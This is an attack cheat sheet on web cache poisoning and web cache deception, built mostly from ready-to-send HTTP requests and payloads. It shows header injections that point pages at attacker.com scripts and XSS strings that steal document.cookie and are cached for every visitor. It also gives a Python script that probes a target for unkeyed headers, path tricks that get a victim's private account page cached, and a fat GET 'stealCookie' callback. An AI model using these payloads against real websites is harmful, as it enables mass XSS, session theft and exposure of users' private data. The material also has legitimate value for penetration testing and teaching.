Web Cache Poisoning

# Basic Web Cache Poisoning Attack

# Step 1: Find an unkeyed header that affects the response
# The X-Forwarded-Host header is often unkeyed (not in cache key)

GET /en?region=us HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attacker.com

# Response includes attacker.com in links/scripts:
# <script src="https://attacker.com/static/main.js"></script>

# Step 2: The response gets cached
# Step 3: Other users requesting /en?region=us receive the poisoned response

# Common Unkeyed Headers for Cache Poisoning

# Host override headers
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
X-HTTP-Host-Override: attacker.com
Forwarded: host=attacker.com

# Protocol/scheme manipulation
X-Forwarded-Scheme: http
X-Forwarded-Proto: http
X-Scheme: http
Front-End-Https: off
X-Forwarded-Ssl: off

# Path manipulation
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Forwarded-Prefix: /..%2fadmin

# Port injection
X-Forwarded-Port: 443</script><script>alert(1)//

# Cache control manipulation
X-Forwarded-For: inject<script>
X-Real-IP: inject<script>

# Language/locale
Accept-Language: ../admin
X-Original-Locale: javascript:alert(1)

# Param Miner - Burp Extension for Cache Poisoning

# Install from BApp Store
Extensions → BApp Store → Param Miner → Install

# Basic usage - find unkeyed inputs
1. Right-click request in Proxy/Repeater
2. Extensions → Param Miner → Guess headers
3. Wait for results in Dashboard/Extensions output

# Key findings to look for:
- X-Forwarded-Host
- X-Forwarded-Scheme
- X-Original-URL
- X-Rewrite-URL
- X-Forwarded-Prefix
- Origin header reflections
- Custom headers specific to target

# Cache key indicators:
- Cache-Status: HIT/MISS
- X-Cache: HIT
- Age: 3600 (seconds cached)
- Vary: Accept-Encoding (headers in cache key)
- CF-Cache-Status (Cloudflare)

#!/usr/bin/env python3
"""
Cache Key Discovery Script
Identifies what parameters/headers are included in cache key
"""
import requests
import random
import string
import time

TARGET = "https://target.com/path"
CACHE_BUSTER = "".join(random.choices(string.ascii_lowercase, k=8))

def random_value():
    return "".join(random.choices(string.ascii_lowercase, k=6))

def get_cache_headers(response):
    """Extract cache-related headers"""
    cache_headers = {}
    for header in ['cache-control', 'x-cache', 'cf-cache-status', 
                   'age', 'cache-status', 'x-cache-status']:
        if header in response.headers:
            cache_headers[header] = response.headers[header]
    return cache_headers

def test_header_keyed(header_name, url):
    """Check if a header is part of the cache key"""
    # First request with unique value
    value1 = random_value()
    headers1 = {header_name: value1}
    resp1 = requests.get(url, headers=headers1)
    
    # Wait for potential caching
    time.sleep(0.5)
    
    # Second request with different value - should get same response if unkeyed
    value2 = random_value()
    headers2 = {header_name: value2}
    resp2 = requests.get(url, headers=headers2)
    
    # If responses match and second is cached, header is unkeyed
    if resp1.text == resp2.text and 'HIT' in str(get_cache_headers(resp2)):
        return False  # Unkeyed - potential poisoning vector
    return True  # Keyed - in cache key

def main():
    headers_to_test = [
        'X-Forwarded-Host',
        'X-Forwarded-Scheme', 
        'X-Forwarded-Proto',
        'X-Original-URL',
        'X-Rewrite-URL',
        'X-Forwarded-Prefix',
        'X-Host',
        'Origin',
        'X-Forwarded-For'
    ]
    
    # Add cache buster to avoid stale responses
    test_url = f"{TARGET}?cb={CACHE_BUSTER}"
    
    print(f"[*] Testing cache key composition for {TARGET}")
    print(f"[*] Cache buster: {CACHE_BUSTER}\n")
    
    for header in headers_to_test:
        is_keyed = test_header_keyed(header, test_url)
        status = "KEYED (in cache key)" if is_keyed else "UNKEYED (potential poison vector!)"
        icon = "[-]" if is_keyed else "[+]"
        print(f"{icon} {header}: {status}")

if __name__ == "__main__":
    main()

# Common Header Injection Scenarios

# 1. X-Forwarded-Host → Affects <base>, <link>, script src
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: attacker.com

# Result: <script src="https://attacker.com/static/app.js">

# 2. X-Forwarded-Scheme → Force HTTP links in HTTPS page  
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Scheme: http

# Result: All links become http:// enabling MITM

# 3. X-Forwarded-Prefix → Path injection
GET /api/data HTTP/1.1
Host: vulnerable.com
X-Forwarded-Prefix: /admin

# Result: Response thinks path is /admin/api/data

# 4. X-Original-URL → Access control bypass
GET /public HTTP/1.1
Host: vulnerable.com
X-Original-URL: /admin

# Front-end caches /public, back-end serves /admin

# XSS via Cache Poisoning

# Scenario: X-Forwarded-Host reflected in page and unkeyed

# Step 1: Find reflection
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: test123

# Response shows:
# <link rel="canonical" href="https://test123/" />

# Step 2: Inject XSS payload
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: "></link><script>alert(document.cookie)</script><link x="

# Response:
# <link rel="canonical" href="https://"></link><script>alert(document.cookie)</script><link x="" />

# Step 3: Ensure response is cached
# Check for: Cache-Status: HIT or X-Cache: HIT or Age: > 0

# Step 4: All subsequent visitors receive XSS payload
# Impact: Stored XSS affecting ALL users until cache expires

# Web Cache Deception Attack
# Trick cache into storing sensitive user-specific responses

# Target: User profile page that shouldn't be cached
# Attack: Append static file extension to path

# Normal request (not cached - dynamic content)
GET /account/settings HTTP/1.1
Host: vulnerable.com
Cookie: session=victim_session

# Response: User's private settings, not cached

# Attack request (tricks cache into caching)
GET /account/settings/nonexistent.css HTTP/1.1
Host: vulnerable.com  
Cookie: session=victim_session

# If app ignores path suffix and serves /account/settings
# AND cache sees .css and caches it as static content:

# Step 1: Attacker tricks victim into visiting:
# https://vulnerable.com/account/settings/exploit.css

# Step 2: Cache stores victim's private page under that URL

# Step 3: Attacker requests same URL (no cookie needed):
GET /account/settings/exploit.css HTTP/1.1
Host: vulnerable.com

# Response: Victim's cached private settings!

# Path confusion variants:
/account/settings/..%2f..%2fstatic/file.js
/account/settings%00.js
/account/settings;.js
/account/settings%23.css

# Fat GET Request Cache Poisoning
# Some servers process body in GET requests but cache key ignores it

GET /?callback=loadData HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

callback=stealCookie

# If server uses body parameter but cache only keys on URL:
# Response: stealCookie({...data...})
# Cached response serves attacker's callback to all users

# Detection:
1. Send GET with body parameter
2. Check if body parameter affects response
3. Check if response is cached
4. If both yes → Fat GET cache poisoning possible